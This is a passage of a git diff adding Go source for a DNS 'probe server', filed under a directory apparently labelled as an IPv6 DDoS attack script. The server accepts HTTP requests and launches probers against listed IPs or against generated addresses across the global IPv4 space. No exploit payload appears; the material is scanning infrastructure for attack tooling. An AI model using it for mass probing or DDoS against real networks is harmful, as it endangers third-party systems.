+ m sync.Mutex // protects the servers
+
+ conf *prober.PBConfig // zones keyed by their port
+ httpWg sync.WaitGroup // used to wait on outstanding connections
+ graceTimeout time.Duration // the maximum duration of a graceful shutdown
+ trace trace.Trace // the trace plugin for the server
+ debug bool // disable recover()
+ stacktrace bool // enable stacktrace in recover error log
+ classChaos bool // allow non-INET class queries
+ idleTimeout time.Duration // Idle timeout for TCP
+ readTimeout time.Duration // Read timeout for TCP
+ writeTimeout time.Duration // Write timeout for TCP
+
+ proberlist *prober.ProberAndGoroutList //探测器列表
+
+ tsigSecret map[string]string
+}
+
+// response 是Prober控制响应的抽象
+type response struct {
+ Code int `json:"code"`
+ Msg string `json:"msg"`
+}
+
+// NewServer returns a new OhmyDNS2 probe server and compiles all plugins in to it.
+func NewServer(addr string, conf *prober.PBConfig) (*ProbeServer, error) {
+ s := &ProbeServer{
+ Addr: addr,
+ graceTimeout: 5 * time.Second,
+ idleTimeout: 10 * time.Second,
+ readTimeout: 3 * time.Second,
+ writeTimeout: 5 * time.Second,
+ tsigSecret: make(map[string]string),
+ proberlist: &prober.ProberAndGoroutList{
+ Pl: make(map[int]*prober.Prober),
+ GRPool: new(ants.Pool),
+ },
+ }
+ s.proberlist.GRPool, _ = ants.NewPool(goroutinePoolSize, ants.WithPreAlloc(true))
+ olog.Infof("服务启动,监听地址: %v", addr)
+
+ // We have to bound our wg with one increment
+ // to prevent a "race condition" that is hard-coded
+ // into sync.WaitGroup.Wait() - basically, an add
+ // with a positive delta must be guaranteed to
+ // occur before Wait() is called on the wg.
+ // In a way, this kind of acts as a safety barrier.
+ s.httpWg.Add(1)
+
+ if conf.Debug {
+ s.debug = true
+ olog.D.Set()
+ }
+ s.stacktrace = conf.Stacktrace
+
+ // append the config to the zone's configs
+ s.conf = conf
+
+ // set timeouts
+ if conf.ReadTimeout != 0 {
+ s.readTimeout = conf.ReadTimeout
+ }
+ if conf.WriteTimeout != 0 {
+ s.writeTimeout = conf.WriteTimeout
+ }
+ if conf.IdleTimeout != 0 {
+ s.idleTimeout = conf.IdleTimeout
+ }
+
+ //// copy tsig secrets
+ //for key, secret := range conf.TsigSecret {
+ // s.tsigSecret[key] = secret
+ //}
+
+ // compile custom plugin for everything
+ var stack plugin.Prober
+ for i := len(conf.Plugin) - 1; i >= 0; i-- {
+ stack = conf.Plugin[i](stack)
+
+ // register the *handler* also
+ conf.RegisterProber(stack)
+
+ // If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
+ // list backwards, so the first MetadataCollector plugin wins.
+ if mdc, ok := stack.(prober.ProberMetadataCollector); ok {
+ conf.MetaCollector = mdc
+ }
+
+ if s.trace == nil && stack.Name() == "trace" {
+ // we have to stash away the plugin, not the
+ // Tracer object, because the Tracer won't be initialized yet
+ if t, ok := stack.(trace.Trace); ok {
+ s.trace = t
+ }
+ }
+ // Unblock CH class queries when any of these plugins are loaded.
+ if _, ok := EnableChaos[stack.Name()]; ok {
+ s.classChaos = true
+ }
+ conf.PluginChain = stack
+ }
+
+ if !s.debug {
+ // When reloading we need to explicitly disable debug logging if it is now disabled.
+ olog.D.Clear()
+ }
+
+ return s, nil
+}
+
+// Compile-time check to ensure Server implements the caddy.GracefulServer interface
+var _ caddy.GracefulServer = &ProbeServer{}
+
+// Serve starts the server with an existing listener. It blocks until the server stops.
+// This implements caddy.TCPServer interface.
+func (ps *ProbeServer) Serve(l net.Listener) error {
+ ps.m.Lock()
+
+ ps.server = &http.Server{
+ Addr: l.Addr().String(),
+ Handler: http.HandlerFunc(func(writer http.ResponseWriter, r *http.Request) {
+ ctx := context.WithValue(context.Background(), Key{}, ps)
+ ctx = context.WithValue(ctx, LoopKey{}, 0)
+ err, s := ps.ServeProbe(ctx, writer, r)
+ if err != nil {
+ olog.Errorf("prober_serve/Serve: %v \n %v", err.Error(), s)
+ return
+ }
+ }),
+ DisableGeneralOptionsHandler: false,
+ ReadTimeout: ps.readTimeout,
+ WriteTimeout: ps.writeTimeout,
+ IdleTimeout: ps.idleTimeout}
+
+ ps.m.Unlock()
+
+ return ps.server.ListenAndServe()
+}
+
+// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
+// This implements caddy.UDPServer interface.
+func (ps *ProbeServer) ServePacket(net.PacketConn) error {
+ return nil
+}
+
+// Listen implements caddy.TCPServer interface.
+func (ps *ProbeServer) Listen() (net.Listener, error) {
+ l, err := reuseport.Listen("tcp", ps.Addr[len(transport.DNS+"://"):])
+ if err != nil {
+ return nil, err
+ }
+ return l, nil
+}
+
+// WrapListener Listen implements caddy.GracefulServer interface.
+func (ps *ProbeServer) WrapListener(ln net.Listener) net.Listener {
+ return ln
+}
+
+// ListenPacket implements caddy.UDPServer interface.
+func (ps *ProbeServer) ListenPacket() (net.PacketConn, error) {
+ p, err := reuseport.ListenPacket("udp", ps.Addr[len(transport.DNS+"://"):])
+ if err != nil {
+ return nil, err
+ }
+
+ return p, nil
+}
+
+// Stop stops the server. It blocks until the server is
+// totally stopped. On POSIX systems, it will wait for
+// connections to close (up to a max timeout of a few
+// seconds); on Windows it will close the listener
+// immediately.
+// This implements Caddy.Stopper interface.
+func (ps *ProbeServer) Stop() (err error) {
+ // 清空协程池
+ defer ps.proberlist.GRPool.Release()
+ if runtime.GOOS != "windows" {
+ // force connections to close after timeout
+ done := make(chan struct{})
+ go func() {
+ ps.httpWg.Done() // decrement our initial increment used as a barrier
+ ps.httpWg.Wait()
+ close(done)
+ }()
+
+ // Wait for remaining connections to finish or
+ // force them all to close after timeout
+ select {
+ case <-time.After(ps.graceTimeout):
+ case <-done:
+ }
+ }
+
+ // Close the listener now; this stops the server without delay
+ ps.m.Lock()
+ // We might not have started and initialized the full set of servers
+ if ps.server != nil {
+ err = ps.server.Shutdown(context.Background())
+ }
+
+ ps.m.Unlock()
+ return
+}
+
+// Address together with Stop() implement caddy.GracefulServer.
+func (ps *ProbeServer) Address() string { return ps.Addr }
+
+// ServeProbe 是每一个prober控制请求的入口
+// It acts as a multiplexer for the requests zonename as
+// defined in the request so that the correct zone
+// (configuration and plugin stack) will handle the request.
+func (ps *ProbeServer) ServeProbe(ctx context.Context, w http.ResponseWriter, req *http.Request) (error, string) {
+ if !ps.debug {
+ defer func() {
+ // In case the user doesn't enable error plugin, we still
+ // need to make sure that we stay alive up here
+ if rec := recover(); rec != nil {
+ if ps.stacktrace {
+ olog.Errorf("Recovered from panic in server: %q %v\n%s", ps.Addr, rec, string(debug.Stack()))
+ } else {
+ olog.Errorf("Recovered from panic in server: %q %v", ps.Addr, rec)
+ }
+ vars.Panic.Inc()
+ errorAndMetricsFunc(ps.Addr, w, "ProbeServer-ServeHTTP-Error", http.StatusInternalServerError)
+ }
+ }()
+ }
+
+ // Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
+ //w = request.NewScrubWriter(r, w)
+
+ // 获取请求参数
+ param, _ := ohttp.ParseRequest(req)
+
+ //// 用于探测的客户端(启用,嵌入prober结构体中)
+ //c := new(dns.Client)
+
+ pcf := ps.conf
+ if pcf.PluginChain == nil { // can not get any plugins
+ errorAndMetricsFunc(ps.Addr, w, "探测器缺少插件链", http.StatusNotImplemented)
+ return errors.New("探测器缺少插件链"), "探测器缺少插件链"
+ }
+ if pcf.MetaCollector != nil {
+ // Collect metadata now, so it can be used before we send a request down the plugin chain.
+ ctx = pcf.MetaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
+ }
+ // 生成目标,开始探测
+ targets, targetNum := getTarget(param[rangeParam])
+
+ // 将探测配置添加到上下文中
+ ctx = context.WithValue(ctx, prober.PAddrNum, targetNum)
+ ctx = context.WithValue(ctx, prober.Pchain, ps.conf)
+
+ // 创建并开始执行任务,返回探测器id
+ proberid := ps.proberlist.AddProber(ctx, targets)
+
+ // 都不匹配,尝试利用“.”指向的服务块
+ //if z, ok := ps.zones["."]; ok {
+ //
+ // for _, h := range z {
+ // if h.pluginChain == nil {
+ // continue
+ // }
+ //
+ // if h.metaCollector != nil {
+ // // Collect metadata now, so it can be used before we send a request down the plugin chain.
+ // ctx = h.metaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
+ // }
+ //
+ // // If all filter funcs pass, use this config.
+ // if passAllFilterFuncs(ctx, h.FilterFuncs, &request.HTTPRequest{Req: req, W: w}) {
+ // if h.ViewName != "" {
+ // // if there was a view defined for this Config, set the view name in the context
+ // ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
+ // }
+ // rcode, _ := h.pluginChain.ProbeDNS(ctx, c, msg)
+ // if !plugin.ClientWrite(rcode) {
+ // errorAndMetricsFunc(ps.Addr, w, " . --"+h.pluginChain.Name()+"错误", rcode)
+ // }
+ // return
+ // }
+ // }
+ //}
+
+ return nil, "成功创建探测器:" + proberid
+}
+
+// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
+func passAllFilterFuncs(ctx context.Context, filterFuncs []prober.FilterFunc, req *request.HTTPRequest) bool {
+ for _, ff := range filterFuncs {
+ if !ff(ctx, req) {
+ return false
+ }
+ }
+ return true
+}
+
+// OnStartupComplete lists the sites served by this server
+// and any relevant information, assuming Quiet is false.
+func (ps *ProbeServer) OnStartupComplete() {
+ if Quiet {
+ return
+ }
+
+ out := startUpZones(transport.PROBER+"://", ps.Addr)
+ if out != "" {
+ fmt.Print(out)
+ }
+}
+
+// Tracer returns the tracer in the server if defined.
+func (ps *ProbeServer) Tracer() ot.Tracer {
+ if ps.trace == nil {
+ return nil
+ }
+
+ return ps.trace.Tracer()
+}
+
+// errorAndMetricsFunc 通过HTTP返回错误信息,并记录到Metrics中
+func errorAndMetricsFunc(server string, w http.ResponseWriter, rs string, rc int) {
+ defer vars.HTTPResponsesCount.WithLabelValues(server, http.StatusText(rc)).Inc()
+ w.WriteHeader(rc)
+ r := &response{Code: http.StatusInternalServerError, Msg: rs}
+ msg, _ := json.Marshal(r)
+ w.Write(msg)
+ return
+
+}
+
+// 输入目标地址数据集,返回IP管道和目标地址数量,
+func getTarget(s []string) (chan net.IP, int) {
+ if s[0] == globalRange {
+ // 全球探测
+ return prober.GenGlobIPv4(), 0
+ }
+ // 局部探测
+ ipchan := make(chan net.IP, 100)
+ go func() {
+ defer close(ipchan)
+ for _, v := range s {
+ ipchan <- net.ParseIP(v)
+ }
+ }()
+ return ipchan, len(s)
+}
+
+type (
+ // Key is the context key for the current server added to the context.
+ Key struct{}
+
+ // LoopKey is the context key to detect server wide loops.
+ LoopKey struct{}
+
+ // ViewKey is the context key for the current view, if defined
+ ViewKey struct{}
+)
+
+// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
+var EnableChaos = map[string]struct{}{
+ "chaos": {},
+ "forward": {},
+ "proxy": {},
+}
+
+// Quiet mode will not show any informative output on initialization.
+var Quiet bool
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/register.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/register.go
new file mode 100644
index 0000000..f20bd02
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/register.go
@@ -0,0 +1,209 @@
+package prober
+
+import (
+ "github.com/coredns/caddy"
+ "github.com/coredns/caddy/caddyfile"
+ "net"
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/parse"
+ "ohmydns2/plugin/pkg/prober"
+ "ohmydns2/plugin/pkg/transport"
+)
+
+const proberType = "dnsprober"
+
+func init() {
+ caddy.RegisterServerType(proberType, caddy.ServerType{
+ Directives: func() []string { return Directives },
+ DefaultInput: func() caddy.Input {
+ return caddy.CaddyfileInput{
+ Filepath: "Ohmyfile",
+ Contents: []byte("probe://:" + Port + " {\nprober_show\nlog\n}\n"),
+ ServerTypeName: proberType,
+ }
+ },
+ NewContext: newPBContext,
+ })
+}
+
+func newPBContext(*caddy.Instance) caddy.Context {
+ return &ProbeContext{keysToConfigs: make(map[string]*prober.PBConfig)}
+}
+
+type ProbeContext struct {
+ keysToConfigs map[string]*prober.PBConfig
+
+ // configs is the master list of all site configs.
+ configs []*prober.PBConfig
+}
+
+func (p *ProbeContext) saveConfig(key string, cfg *prober.PBConfig) {
+ p.configs = append(p.configs, cfg)
+ p.keysToConfigs[key] = cfg
+}
+
+// Compile-time check to ensure dnsContext implements the caddy.Context interface
+var _ caddy.Context = &ProbeContext{}
+
+// InspectServerBlocks make sure that everything checks out before
+// executing directives and otherwise prepares the directives to
+// be parsed and executed.
+func (p *ProbeContext) InspectServerBlocks(_ string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
+ // Normalize and check all the zone names and check for duplicates
+ for ib, s := range serverBlocks {
+ Addrs := []addr{}
+ // 每一个服务块的zone部分
+ for ik, k := range s.Keys {
+ trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
+ // 不属于探测端的服务块不解析
+ if trans != transport.PROBER {
+ continue
+ }
+ port, err := plugin.SplitPort(k1)
+
+ if err != nil {
+ return nil, err
+ }
+ s.Keys[ik] = port
+ Addrs = append(Addrs, addr{Port: port, Transport: transport.PROBERTRAN})
+ }
+
+ serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
+
+ var firstConfigInBlock *prober.PBConfig
+
+ for ik := range s.Keys {
+ a := Addrs[ik]
+ s.Keys[ik] = a.String()
+ // Save the config to our master list, and key it for lookups.
+ cfg := &prober.PBConfig{
+ ListenHosts: []string{""},
+ Port: a.Port,
+ Transport: a.Transport,
+ }
+
+ // Set reference to the first config in the current block.
+ // This is used later by MakeServers to share a single plugin list
+ // for all zones in a server block.
+ if ik == 0 {
+ firstConfigInBlock = cfg
+ }
+ cfg.FirstConfigInBlock = firstConfigInBlock
+
+ keyConfig := prober.KeyForConfig(ib, ik)
+ p.saveConfig(keyConfig, cfg)
+ }
+ }
+ return serverBlocks, nil
+}
+
+// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
+func (p *ProbeContext) MakeServers() ([]caddy.Server, error) {
+ // Copy the Plugin, ListenHosts and Debug from first config in the block
+ // to all other config in the same block . Doing this results in zones
+ // sharing the same plugin instances and settings as other zones in
+ // the same block.
+ for _, c := range p.configs {
+ c.Plugin = c.FirstConfigInBlock.Plugin
+ c.ListenHosts = c.FirstConfigInBlock.ListenHosts
+ c.Debug = c.FirstConfigInBlock.Debug
+ c.Stacktrace = c.FirstConfigInBlock.Stacktrace
+
+ // Fork TLSConfig for each encrypted connection
+ c.TLSConfig = c.FirstConfigInBlock.TLSConfig.Clone()
+ c.ReadTimeout = c.FirstConfigInBlock.ReadTimeout
+ c.WriteTimeout = c.FirstConfigInBlock.WriteTimeout
+ c.IdleTimeout = c.FirstConfigInBlock.IdleTimeout
+ c.TsigSecret = c.FirstConfigInBlock.TsigSecret
+ }
+
+ // we must map (group) each config to a bind address
+ groups, err := groupConfigsByListenPort(p.configs)
+ if err != nil {
+ return nil, err
+ }
+ // then we create a server for each group
+ var servers []caddy.Server
+ for protaddr, group := range groups {
+ // switch on addr
+ switch tr, _ := parse.Transport(transport.PROBER + protaddr[len(transport.PROBERTRAN):]); tr {
+ case transport.PROBER:
+ s, e := NewProberHTTP(protaddr, group)
+ if e != nil {
+ return nil, err
+ }
+ servers = append(servers, s)
+ }
+ }
+
+ //// For each server config, check for View Filter plugins
+ //for _, c := range p.configs {
+ // // Add filters in the plugin.cfg order for consistent filter func evaluation order.
+ // for _, d := range Directives {
+ // if vf, ok := c.registry[d].(Viewer); ok {
+ // if c.ViewName != "" {
+ // return nil, fmt.Errorf("multiple views defined in server block")
+ // }
+ // c.ViewName = vf.ViewName()
+ // c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
+ // }
+ // }
+ //}
+
+ // Verify that there is no overlap on the zones and listen addresses
+ // for unfiltered server configs
+ //errValid := p.validateZonesAndListeningAddresses()
+ //if errValid != nil {
+ // return nil, errValid
+ //}
+
+ return servers, nil
+}
+
+// GetConfig gets the Config that corresponds to c.
+// If none exist nil is returned.
+func GetPBConfig(c *caddy.Controller) *prober.PBConfig {
+ ctx := c.Context().(*ProbeContext)
+ key := prober.KeyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
+ if cfg, ok := ctx.keysToConfigs[key]; ok {
+ return cfg
+ }
+ // we should only get here during tests because directive
+ // actions typically skip the server blocks where we make
+ // the configs.
+ ctx.saveConfig(key, &prober.PBConfig{ListenHosts: []string{""}})
+ return GetPBConfig(c)
+}
+
+// groupConfigsByListenPort 建立监听端口和配置文件之间的映射,与服务端不同的是,一个监听地址端口只对应一个配置文件
+func groupConfigsByListenPort(configs []*prober.PBConfig) (map[string]*prober.PBConfig, error) {
+ groups := make(map[string]*prober.PBConfig)
+ for _, conf := range configs {
+ for _, h := range conf.ListenHosts {
+ tcpaddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
+ if err != nil {
+ return nil, err
+ }
+ addrstr := conf.Transport + "://" + tcpaddr.String()
+ groups[addrstr] = conf
+ }
+ }
+
+ return groups, nil
+}
+
+// DefaultPort is the default port.
+const DefaultPort = transport.PROBERPort
+
+// These "soft defaults" are configurable by
+// command line flags, etc.
+var (
+ // Port is the port we listen on by default.
+ Port = DefaultPort
+
+ // GracefulTimeout is the maximum duration of a graceful shutdown.
+ //GracefulTimeout time.Duration
+)
+
+var _ caddy.GracefulServer = new(dnsserver.Server)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/go.mod b/att script/4(v6 DDoS)/code/辅助权威服务器/go.mod
new file mode 100644
index 0000000..e2f7562
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/go.mod
@@ -0,0 +1,36 @@
+module ohmydns2
+
+go 1.20
+
+require (
+ github.com/apparentlymart/go-cidr v1.1.0
+ github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2
+ github.com/coredns/caddy v1.1.1
+ github.com/dnstap/golang-dnstap v0.4.0
+ github.com/farsightsec/golang-framestream v0.3.0
+ github.com/miekg/dns v1.1.54
+ github.com/opentracing/opentracing-go v1.2.0
+ github.com/panjf2000/ants/v2 v2.8.1
+ github.com/pochard/commons v1.1.2
+ github.com/prometheus/client_golang v1.15.1
+ github.com/thanhpk/randstr v1.0.6
+ golang.org/x/sys v0.10.0
+ google.golang.org/grpc v1.55.0
+ google.golang.org/protobuf v1.30.0
+)
+
+require (
+ github.com/beorn7/perks v1.0.1 // indirect
+ github.com/cespare/xxhash/v2 v2.2.0 // indirect
+ github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect
+ github.com/golang/protobuf v1.5.3 // indirect
+ github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect
+ github.com/prometheus/client_model v0.3.0 // indirect
+ github.com/prometheus/common v0.42.0 // indirect
+ github.com/prometheus/procfs v0.9.0 // indirect
+ golang.org/x/mod v0.12.0 // indirect
+ golang.org/x/net v0.12.0 // indirect
+ golang.org/x/text v0.11.0 // indirect
+ golang.org/x/tools v0.11.0 // indirect
+ google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/go.sum b/att script/4(v6 DDoS)/code/辅助权威服务器/go.sum
new file mode 100644
index 0000000..ef85dfa
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/go.sum
@@ -0,0 +1,111 @@
+github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU=
+github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc=
+github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
+github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
+github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
+github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
+github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44=
+github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/coredns/caddy v1.1.1 h1:2eYKZT7i6yxIfGP3qLJoJ7HAsDJqYB+X68g4NYjSrE0=
+github.com/coredns/caddy v1.1.1/go.mod h1:A6ntJQlAWuQfFlsd9hvigKbo2WS0VUs2l1e2F+BawD4=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/dnstap/golang-dnstap v0.4.0 h1:KRHBoURygdGtBjDI2w4HifJfMAhhOqDuktAokaSa234=
+github.com/dnstap/golang-dnstap v0.4.0/go.mod h1:FqsSdH58NAmkAvKcpyxht7i4FoBjKu8E4JUPt8ipSUs=
+github.com/farsightsec/golang-framestream v0.3.0 h1:/spFQHucTle/ZIPkYqrfshQqPe2VQEzesH243TjIwqA=
+github.com/farsightsec/golang-framestream v0.3.0/go.mod h1:eNde4IQyEiA5br02AouhEHCu3p3UzrCdFR4LuQHklMI=
+github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
+github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
+github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
+github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
+github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
+github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
+github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
+github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
+github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
+github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
+github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
+github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
+github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo=
+github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
+github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
+github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
+github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
+github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs=
+github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc=
+github.com/panjf2000/ants/v2 v2.8.1 h1:C+n/f++aiW8kHCExKlpX6X+okmxKXP7DWLutxuAPuwQ=
+github.com/panjf2000/ants/v2 v2.8.1/go.mod h1:KIBmYG9QQX5U2qzFP/yQJaq/nSb6rahS9iEHkrCMgM8=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/pochard/commons v1.1.2 h1:65SlPrtLqJgCboQitD72Wrdw7xsGJ2wD6HS1hUpk6pc=
+github.com/pochard/commons v1.1.2/go.mod h1:HzXF3rNqu78SkHDx4IY+jp/SqSnkwT/OHjSrlqoitgI=
+github.com/prometheus/client_golang v1.15.1 h1:8tXpTmJbyH5lydzFPoxSIJ0J46jdh3tylbvM1xCv0LI=
+github.com/prometheus/client_golang v1.15.1/go.mod h1:e9yaBhRPU2pPNsZwE+JdQl0KEt1N9XgF6zxWmaC0xOk=
+github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4=
+github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w=
+github.com/prometheus/common v0.42.0 h1:EKsfXEYo4JpWMHH5cg+KOUWeuJSov1Id8zGR8eeI1YM=
+github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc=
+github.com/prometheus/procfs v0.9.0 h1:wzCHvIvM5SxWqYvwgVL7yJY8Lz3PKn49KQtpgMYJfhI=
+github.com/prometheus/procfs v0.9.0/go.mod h1:+pB4zwohETzFnmlpe6yd2lSc+0/46IYZRB/chUwxUZY=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
+github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
+github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
+github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
+golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
